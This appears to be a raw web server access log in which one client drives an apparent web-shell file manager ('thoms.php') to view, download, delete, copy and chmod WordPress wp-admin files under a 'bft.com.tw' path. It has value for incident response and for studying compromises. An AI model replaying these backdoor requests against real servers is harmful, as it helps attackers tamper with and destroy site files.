45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?dl=async-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28606 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18485 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13079 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?chmod=ms-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /bft.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /bft.com.tw/wp-admin/ms-themes.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14171 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?chmod=privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12150 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?chmod=network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?dl=link-manager.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28605 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?del=my-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28559 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupdate.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupdate.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /bft.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /bft.com.tw/wp-admin/privacy.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /bft.com.tw/wp-admin/upload.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?dl=upgrade.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28621 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?chmod=contribute.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:05 -0400] "GET /thoms.php?dl=upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28622 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?del=async-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28622 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?del=media-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28622 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13779 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /bft.com.tw/wp-admin/maint/ HTTP/1.1" 200 784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /bft.com.tw/wp-admin/options-privacy.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?chmod=link-add.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?del=admin-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsite-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsite-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?del=options-reading.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:06 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12951 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcustom-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11427 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcustom-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?del=tools.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?del=tools.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?dl=freedoms.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28628 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12004 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /bft.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?dl=options-writing.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11912 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /bft.com.tw/wp-admin/install-helper.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-tags.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-tags.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?chmod=upgrade.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20026 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:07 -0400] "GET /thoms.php?del=options-discussion.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29080 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?chmod=admin-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16606 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /bft.com.tw/wp-admin/options-media.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?del=link-manager.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28603 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fload-scripts.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fload-scripts.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?del=options-permalink.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28645 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?del=site-health-info.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28604 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcontribute.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11414 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcontribute.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /bft.com.tw/wp-admin/async-upload.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?dl=link.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28604 "http://163.245.207.76:443/thoms.php?dl=link.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 11975 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:08 -0400] "GET /bft.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /bft.com.tw/wp-admin/options.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12129 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /bft.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15623 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?del=images&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?del=images&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /bft.com.tw/wp-admin/user/ HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?dl=edit-link-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28609 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?chmod=options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?dl=user-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28626 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?chmod=admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13338 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28628 "http://163.245.207.76:443/thoms.php?del=index.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /bft.com.tw/wp-admin/profile.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:09 -0400] "GET /thoms.php?chmod=ms-options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
